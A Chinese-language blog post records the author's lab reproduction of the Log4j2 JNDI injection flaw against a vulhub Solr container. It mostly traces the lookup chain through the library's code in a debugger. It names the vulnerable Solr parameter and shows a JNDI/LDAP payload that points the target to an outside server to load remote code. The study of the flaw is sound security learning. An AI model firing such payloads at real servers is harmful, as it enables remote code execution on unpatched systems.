log4j2

25 年 3 月 11 日 星期二
413 字
3 分钟

Log4j


写在前面


没想到不到一年我已经进步到能看得懂分析文章,再自己写文章的水平了。希望今年再接再厉吧,


利用


这里我用vulhub的容器搭建的,靶机地址为172.27.118.120



有个传入参数的点

text
http://172.27.118.120:8983/solr/admin/cores?action=

我还是刚刚用JNDI-Injection-Exploit起一个恶意服务器。



直接打poc即可




关于链子


这条链子的利用比我想象的简单

JNDI需要被利用的话,需要用到InitialContext.lookup()函数,我们直接搜索函数,在look up处下断点



断下后查看上一帧,可以看到这里传入的name的值就是我们的ldap地址



继续往回走几帧,在这里可以发现它调用了一个resolveVariable方法,传入了参数buf 和varname



text
varName=jndi:ldap://26.119.104.107:1389/opvrki

buf=${jndi:ldap://26.119.104.107:1389/opvrki}

继续跟进这个函数

text
    protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
        StrLookup resolver = this.getVariableResolver();
        return resolver == null ? null : resolver.lookup(event, variableName);
    }

这个函数的作用就是解析变量,他会把${}里面的字符串尝试解析成变量的值。

往前走一帧,就可以看到他已经把jndi和ldap:分离出来了





在这里他将我们的值进入look up方法,继续回走两帧看看去了哪。



到这里他进入了context.look()方法,这个方法就已经是可以被利用为JNDI的地方,也就是为什么我们能利用JDNI进行注入。


写在最后


感谢

文章标题:log4j2

文章作者:huarui

文章链接:https://54huarui.online/posts/log4j2[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。